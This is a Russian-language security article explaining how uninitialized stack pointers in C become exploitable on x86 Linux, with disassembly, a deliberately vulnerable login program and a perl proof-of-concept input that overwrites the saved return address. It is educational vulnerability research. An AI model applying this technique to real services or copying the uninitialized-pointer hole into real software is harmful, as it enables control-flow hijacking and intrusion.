Введение
В этой статье описывается, как неинициализированные переменные могут стать причиной “неопределенного поведения” программы, а также приводится пример того, как данный факт может быть использован для перехвата управления приложением.
Все приведенные примеры были проверены на Ubuntu Linux [1]. Надеемся, что читатель, ознакомившись с представленным материалом, заинтересуется аналогичными проблемами в функциях glibc, коде ядра и многопоточных приложениях [2].Все примеры написаны на Си и ассемблере под x86. Как читатель, вы должны разбираться в этих языках программирования, а также не испытывать проблем с дизассемблированием и получением информации из страниц стандартной документации (man pages).
Предыстория
В начале 2005 года я изучал исходники одного почтового демона. В коде активно использовались указатели и связанные списки, а также присутствовало несколько ошибок, дающих возможность перехвата потока выполнения приложения из функции, в которой происходит разыменование неинициализированного указателя.
Исследуя эту уязвимость, я заметил несколько странностей, которые позволили мне предположить, что значение разыменованного неинициализированного указателя не всегда неопределенно.На основе опыта исследования этой уязвимости, я покажу, как разыменование неинициализированного указателя, при определенных условиях, может быть использовано для создания рабочего эксплойта.
Краткий взгляд на инициализацию
Чтобы начать дискуссию о “неопределенных” данных, я расскажу о двух основных этапах инициализации переменных.Во время компиляции
Во время разработки приложения программист часто использует глобальные переменные, содержащие предопределенные значения. В том случае, если глобальной переменной присвоено значение, она является инициализированными данными и обычно находится в сегменте .data исполняемого файла. Если значение переменной не определено, она считается неинициализированной и помещается в сегмент .bss исполняемого файла.
example-1.c#include <stdio.h>
int gvar = 12;
int main(void)
{
printf(“%d\n”, gvar);
return gvar;
}
В примере выше, переменная ‘gvar’ объявлена как глобальная и инициализирована значением 12. При компиляции программы, переменная gvar, имеющая значение 12, будет добавлена в сегмент .data.
example-1-dbglaptop:~/paper/examples$ gdb -q ./example_1 Using host libthread_db library "/lib/tls/i686/cmov/libthread_db.so.1". (gdb) info variables gvar All variables matching regular expression "gvar": Non-debugging symbols: 0x080495b4 gvar (gdb) x/x 0x080495b4 0x80495b4 <gvar>: 0x0000000c (gdb) info symbol 0x080495b4 gvar in section .data
Такие переменные уже инициализированы при компиляции и, если вы не обнаружите переполнения в другой переменной сегмента .date или не контролируете что-то, что может изменить gvar, шанс управления их данными очень мал.
Для простоты, эксплойтирование данных, инициализированных во время компиляции, не будет обсуждаться.Вы также можете скомпилировать вышеприведенную программу, не инициализируя переменную gvar. В этом случае переменная будет определена как неинициализированная и помещена в сегмент .bss. Этот сегмент содержит неинициализированные данные, место под которые отводится в процессе выполнения программы. Это означает, что разыменование данных сегмента .bss приведет к разыменованию указателя на NULL [3].
Во время выполнения
Другой стандартный метод инициализации переменных – во время выполнения программы. Этот тип инициализации применяется для переменных, объявленных внутри функций.
example-2.c#include <stdio.h>
int local_init(void *arg)
{
int *val1 = (int *)arg;
return 0;
}
int main(void)
{
local_init(NULL);
return 0;
}
В приведенном коде в функции local_init объявлена локальная переменная val1. Место под эту переменную не выделено в пределах объектного файла, вместо этого она преобразована в машинные команды, которые при выполнении выделяют необходимое пространство в стеке. Это можно увидеть на следующем дизассемблированном листинге:
example-2-dbgint local_init(void *arg)
{
8048348: 55 push %ebp
8048349: 89 e5 mov %esp,%ebp
804834b: 83 ec 10 sub $0x10,%esp
int *val1 = (int *)arg;
804834e: 8b 45 08 mov 0x8(%ebp),%eax
8048351: 89 45 fc mov %eax,0xfffffffc(%ebp)
return 0;
8048354: b8 00 00 00 00 mov $0x0,%eax
}
8048359: c9 leave
804835a: c3 ret
Сначала выделяется 16 байт ($0x10) под стек функции, затем в начало только что выделенного пространства копируется значение переменной void *arg.
Далее мы сосредоточимся на контроле над пространством стека и данных с целью влияния на локальные переменные, место под которые выделяется в процессе выполнения приложения.
Разыменование
Будем предполагать, что с вопросами инициализации во время компиляции и во время выполнения мы разобрались. Знание того, как переменные инициализируются данными, будет ключом к пониманию того, как работает разыменование.
Разыменование - термин, используемый программистами, означающий обращение к данным, на которые ссылается указатель. В качестве аналогии можно привести пример человека в комнате, в которой находится несколько вещей – компьютер, футбольный мяч и кровать. Как только человек указывает на вещь, он ссылается на нее. Как только он берет вещь, он разыменовывает ее.По этой аналогии человек это указатель. Множество людей могут указывать на одну и ту же вещь, так же как и множество указателей могут ссылаться на один и тот же адрес в памяти.
example-3.cinclude <stdio.h>
int local_init(void *arg)
{
int *val1 = (int *)arg;
int val2 = *val1;
printf(“0x%08x\n”, val2);
return 0;
}
int main(void)
{
int val = 0x01020304;
local_init(&val);
return 0;
}
В этом примере локальной переменной val1 присваивается адрес, хранящийся в arg. Присваивание val2 к *val1 разыменовывает значение, на которое указывает val1 и присваивает его val2.
Посмотреть, как это происходит на более низком уровне можно с помощью дизассемблера.
example-3-dbg1 080483a8 <local_init>:
2 #include <stdio.h>
3
4 int local_init(void *arg)
5 {
6 80483a8: 55 push %ebp
7 80483a9: 89 e5 mov %esp,%ebp
8 80483ab: 83 ec 18 sub $0x18,%esp
9 int *val1 = (int *)arg;
10 80483ae: 8b 45 08 mov 0x8(%ebp),%eax
11 80483b1: 89 45 f8 mov %eax,0xfffffff8(%ebp)
12 int val2 = *val1;
13 80483b4: 8b 45 f8 mov 0xfffffff8(%ebp),%eax
14 80483b7: 8b 00 mov (%eax),%eax
15 80483b9: 89 45 fc mov %eax,0xfffffffc(%ebp)
16
17 fprintf(stdout, "0x%08x\n", val2);
18 80483bc: a1 28 96 04 08 mov 0x8049628,%eax
19 80483c1: 83 ec 04 sub $0x4,%esp
20 80483c4: ff 75 fc pushl 0xfffffffc(%ebp)
21 80483c7: 68 1c 85 04 08 push $0x804851c
22 80483cc: 50 push %eax
23 80483cd: e8 f6 fe ff ff call 80482c8 <fprintf@plt>
24 80483d2: 83 c4 10 add $0x10,%esp
25 return 0;
26 80483d5: b8 00 00 00 00 mov $0x0,%eax
27 }
28 80483da: c9 leave
29 80483db: c3 ret
30
31 080483dc <main>:
32
33 int main(void)
34 {
35 80483dc: 55 push %ebp
36 80483dd: 89 e5 mov %esp,%ebp
37 80483df: 83 ec 18 sub $0x18,%esp
38 80483e2: 83 e4 f0 and $0xfffffff0,%esp
39 80483e5: b8 00 00 00 00 mov $0x0,%eax
40 80483ea: 83 c0 0f add $0xf,%eax
41 80483ed: 83 c0 0f add $0xf,%eax
42 80483f0: c1 e8 04 shr $0x4,%eax
43 80483f3: c1 e0 04 shl $0x4,%eax
44 80483f6: 29 c4 sub %eax,%esp
45 int val = 0x01020304;
46 80483f8: c7 45 fc 04 03 02 01 movl $0x1020304,0xfffffffc(%ebp)
47 local_init(&val);
48 80483ff: 83 ec 0c sub $0xc,%esp
49 8048402: 8d 45 fc lea 0xfffffffc(%ebp),%eax
50 8048405: 50 push %eax
51 8048406: e8 9d ff ff ff call 80483a8 <local_init>
52 804840b: 83 c4 10 add $0x10,%esp
53 return 0;
54 804840e: b8 00 00 00 00 mov $0x0,%eax
55 }
56 8048413: c9 leave
57 8048414: c3 ret
Наиболее важные вещи, на которые нужно обратить внимание:
- В строках 46-49 (функция main) в регистр eax помещается значение 0x01020304 (int val).
- В строках 50-51 это значение помещается в стек, и затем вызывает функция local_init.
- В строке 8 (функция local_init) под локальные переменные выделяется $0x18 байт.
- В строках 10 и 11 val1 присваивается значение arg.
- В строках 13 и 14 val1 разыменовывается и значение (в данном случае 0x01020304), на которое ссылается этот указатель, присваивается переменной val2.
Разыменование указателя происходит в строке 14. Перед этим, в регистр eax помещается адрес для разыменования. Очень важно обратить внимание на то, что для разыменования переменной val1 используется адрес, находящийся в стеке.
Перед тем как двигаться дальше, читатель должен изучить и понять, как происходит разыменование.Эксплойтирование неинициализированных указателей
Вы можете спросить, как вся эта информация может помочь при исследовании программ и как она может быть использована для создания эксплойта?
Перед тем как я начну разговор об этом, вы должны освежить в своей памяти всю информацию, относящуюся к известным уязвимостям:- Переполнение буфера с модификацией указателей
- Ошибки индексирования (особенно в связанных списках)
- и т.д.
Проницательный читатель знает, что при инициализации локальных переменных во время выполнения, данные находятся не в самом исполняемом файле, а представлены в виде машинных команд, устанавливающих значения этих переменных. Локальные переменные хранят свои значение в стеке, которые, как ожидается, будут удалены из стека при выходе из функции.
Это код может быть очень интересен:0x080483d2 <local_init+42>: add $0x10,%esp 0x080483d5 <local_init+45>: mov $0x0,%eax 0x080483da <local_init+50>: leaveleave – освобождает фрейм стека, созданный вызванной перед этим командой ENTER. Команда LEAVE копирует указатель фрейма (находящийся в регистре EBP) в регистр указатель стека (ESP). Старый указатель фрейма (указатель фрейма вызывающий процедуры, сохраненный командой ENTER) берется из стека и помещается в регистр EBP, восстанавливая фрейм стека вызывающий процедуры.
Кроме того, что эта команда корректирует стек и возвращает поток выполнения в вызывающую процедуру, интересно также и то, что она не затирает данные в стеке. Это означает, что если были выполнены несколько функций, каждый раз использовалось одно и то же пространство стека.
Теория
Для нас особый интерес представляют следующие моменты:
- Локальные переменные размещаются в стеке во время выполнения программы.
- При возврате из функции стек корректируется без удаления значений локальных переменных
- Механизм разыменования локальных переменных берет адрес для разыменования из стека, а также оперирует данными по этому адресу.
- Если переменная не инициализирована, она указывает на то же самое значение в стеке, которое использовалось в предыдущих функциях.
Если можно контролировать данные, попадающие в стек, можно контролировать значение адреса, которое используется при разыменовании неинициализированного указателя. И атакующий может это осуществить.
Рассмотрим следующий пример:
example-4.S1 .globl _start 2 .section .text 3 4 5 _start: 6 pushl %esp 7 movl %esp, %ebp 8 9 call r1 10 call r2 11 12 movl $0x1, %eax 13 int $0x80 14 15 16 r1: 17 pushl %ebp 18 movl %esp, %ebp 19 subl $0x4, %esp 20 21 movl $0x41414141, (%esp) 22 23 addl $0x4, %esp 24 movl %ebp, %esp 25 popl %ebp 26 ret 27 28 r2: 29 pushl %ebp 30 movl %esp, %ebp 31 subl $0x4, %esp 32 33 movl (%esp), %eax 34 int3 35 36 addl $0x4, %esp 37 popl %ebp 38 ret
- Подпрограмма _start начинается с установки указателя фрейма (строки 6 и 7)
- Затем происходит вызов подпрограммы r1, выделяющей пространство в стеке для хранения целого числа (т.е. 4 байт) – строка 19.
- Далее этому числу присваивается значение 0x41414141 (строка 21).
- И наконец, происходит корректировка стека и возврат потока выполнения в подпрограмму _start.
Подпрограмма r1 не очистила значение 0x41414141 в стеке, вместо этого был подкорректирован указатель стека. Это означает, что если поток выполнения перейдет к подпрограмме r2 и в ней будет выделено пространство в стеке (строка 31), оно уже будет инициализировано тем, что было в этом месте стека ранее. В данном случае, это будет 0x41414141.
Убедиться во всем можно, запустив вышеприведенную программу в отладчике:
example-4-dbglaptop:~/paper/examples$ gdb -q ./example_5 Using host libthread_db library "/lib/tls/i686/cmov/libthread_db.so.1". (gdb) disass r2 Dump of assembler code for function r2: 0x0804809c <r2+0>: push %ebp 0x0804809d <r2+1>: mov %esp,%ebp 0x0804809f <r2+3>: sub $0x4,%esp 0x080480a2 <r2+6>: mov (%esp),%eax 0x080480a5 <r2+9>: int3 0x080480a6 <r2+10>: add $0x4,%esp 0x080480a9 <r2+13>: pop %ebp 0x080480aa <r2+14>: ret End of assembler dump. (gdb) break *r2+3 Breakpoint 1 at 0x804809f: file ./example_5.S, line 31. (gdb) r Starting program: /home/mercy/paper/examples/example_5 Breakpoint 1, r2 () at ./example_5.S:31 31 subl $0x4, %esp Current language: auto; currently asm (gdb) i r eax eax 0x0 0 (gdb) c Continuing. Program received signal SIGTRAP, Trace/breakpoint trap. r2 () at ./example_5.S:36 36 addl $0x4, %esp (gdb) i r eax eax 0x41414141 1094795585Для использования уязвимостей этого типа вам нужно контролировать данные, сохраненные в стеке перед вызовом уязвимой функции. Кроме того, в уязвимой функции должны выполняться некоторые критические операции над неинициализированной переменной.
Приведем пример:
void r2(void)
{
int trusted_variable;
if(trusted_variable == 0x41414141) give_root();
return;
}
Если атакующий контролирует пространство стека, выделенное под переменную trusted_variable, он может сделать условие истинным и получить права root.
Почтовая программа
Настало время показать на практике как можно использовать такие уязвимости. В этом примере я буду использовать прототип почтового демона, о котором упоминалось в начале статьи.
Упрощенное поведение почтовой программы сводится к следующему:- Установка соединения.
- Запрос команды.
- Если требуется аутентификация, идем к п.4, иначе выполняем команду.
- Произвести аутентификацию, выполнить команду.
Уязвимость
Уязвимость присутствует в функции аутентификации, в том месте, где пользователь вводит неверную комбинацию логин/пароль, информация об этом пишется в лог и соединение прерывается. Функция записи в лог использует неинициализированный указатель, указывающий на ранее переданные логин и пароль, находящиеся в стеке. В этом месте можно нарушить ход работы функции sprintf и получить контроль над потоком выполнения программы.
Учитывая условия, при которых описанную уязвимость можно использовать, я написал простую уязвимую программу:
example-5.c1 #include <stdio.h>
2 #include <stdlib.h>
3 #include <string.h>
4
5 #define MAX_USER 1024
6 #define MAX_PASS MAX_USER
7
8 #define ERR_CRITIC 0x01
9 #define ERR_AUTH 0x02
10
11 int do_auth(void)
12 {
13 char username[MAX_USER], password[MAX_PASS];
14
15 fprintf(stdout, "Please enter your username: ");
16 fgets(username, MAX_USER, stdin);
17
18 fflush(stdin);
19
20 fprintf(stdout, "Please enter your password: ");
21 fgets(password, MAX_PASS, stdin);
22
23 #ifdef DEBUG
24 fprintf(stderr, "Username is at: 0x%08x (%d)\n", &username, strlen(username));
25 fprintf(stderr, "Password is at: 0x%08x (%d)\n", &password, strlen(password));
26
27 #endif
28 if(!strcmp(username, "user") && !strcmp(password, "washere"))
29 {
30 return 0;
31 }
32
33 return -1;
34 }
35
36 int log_error(int farray, char *msg)
37 {
38 char *err, *mesg;
39 char buffer[24];
40
41 #ifdef DEBUG
42 fprintf(stderr, "Mesg is at: 0x%08x\n", &mesg);
43 fprintf(stderr, "Mesg is pointing at: 0x%08x\n", mesg);
44 #endif
45 memset(buffer, 0x00, sizeof(buffer));
46 sprintf(buffer, "Error: %s", mesg);
47
48 fprintf(stdout, "%s\n", buffer);
49 return 0;
50 }
51
52 int main(void)
53 {
54 switch(do_auth())
55 {
56 case -1:
57 log_error(ERR_CRITIC | ERR_AUTH, "Unable to login");
58 break;
59 default:
60 break;
61 }
62 return 0;
63 }
Использование уязвимости
С точки зрения атакующего использование этой уязвимости тривиально. Атакующий должен вместо логина передать адрес буфера, в котором хранится пароль, а вместо пароля полезную нагрузку эксплойта.
Причина в том, что ‘mesg’ – “доверенный” указатель. Программист хотел инициализировать ‘mesg’ указателем ‘msg’, переданным в функцию, но не сделал этого. В стеке ‘mesg’ находится выше имени пользователя и значение этой переменной - это адрес, разыменование которого происходит при вызове sprintf.Поэтому атакующий должен подставить адрес буфера, содержимым которого он управляет. Используя этот буфер, он может нарушить нормальный ход работы sprintf (строка 46) как и при любом другом переполнении.
example-5-dbglaptop:~/paper/examples$ gcc ./example_6.c -o example_6 -ggdb3 -DDEBUG laptop:~/paper/examples$ echo `perl -e'print "\xe0\xf0\xff\xbf" x 255 . "\n" . "B" x 1024'` | ./example_6 Username is at: 0xbffff4e0 (1023) Password is at: 0xbffff0e0 (1023) Mesg is at: 0xbffff8d0 Mesg is pointing at: 0xbffff0e0 Please enter your username: Please enter your password: Error: BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB Segmentation fault (core dumped) laptop:~/paper/examples$ gdb -q -c ./core Using host libthread_db library "/lib/tls/i686/cmov/libthread_db.so.1". (no debugging symbols found) Core was generated by `./example_6'. Program terminated with signal 11, Segmentation fault. #0 0x42424242 in ?? () (gdb)В этом примере атакующий подставил адрес массива ‘password’ в массив ‘username’. Также, в целях отладки, атакующий заполнил массив ‘password’ символами ‘B’.
Когда при вызове sprintf будет разыменован указатель ‘mesg’, в реальности будет разыменован адрес, находящийся в массиве ‘username’, в нашем случае адрес массива ‘password’. Затем sprintf скопирует содержимое массива ‘password’ до первого встретившегося NULL. В нашей ситуации массив ‘password’ больший, чем ‘buffer’, перезапишет сохраненное значение регистра EIP. Атакующий сможет легко модифицировать этот эксплойт для выполнения своего собственного кода.
Заключение
В этой статье была описана методика контроля и злонамеренного использования неинициализированных переменных. Необходимое условие использования уязвимости - контроль над данными в стеке до вызова уязвимой функции.Данная статья описывает использование неинициализированных указателей, однако принцип нарушения нормальной работы неинициализированных указателей может быть применен к любым критическим участкам, где используются инвариантные данные, например связанные списки, очереди, сетевые протоколы и т.д.
Ссылки
- Ubuntu Linux – http://www.ubuntulinux.com
- mercy - Tales of the Unknown: threaded and shreaded.
- Ilja van Sprundel (UNIX Kernel Auditing) – http://www.pacsec.jp
- The FelineMenace team – http://www.felinemenace.org
- The PullThePlug community – http://www.pulltheplug.org
- The NoLogin community – http://www.nologin.org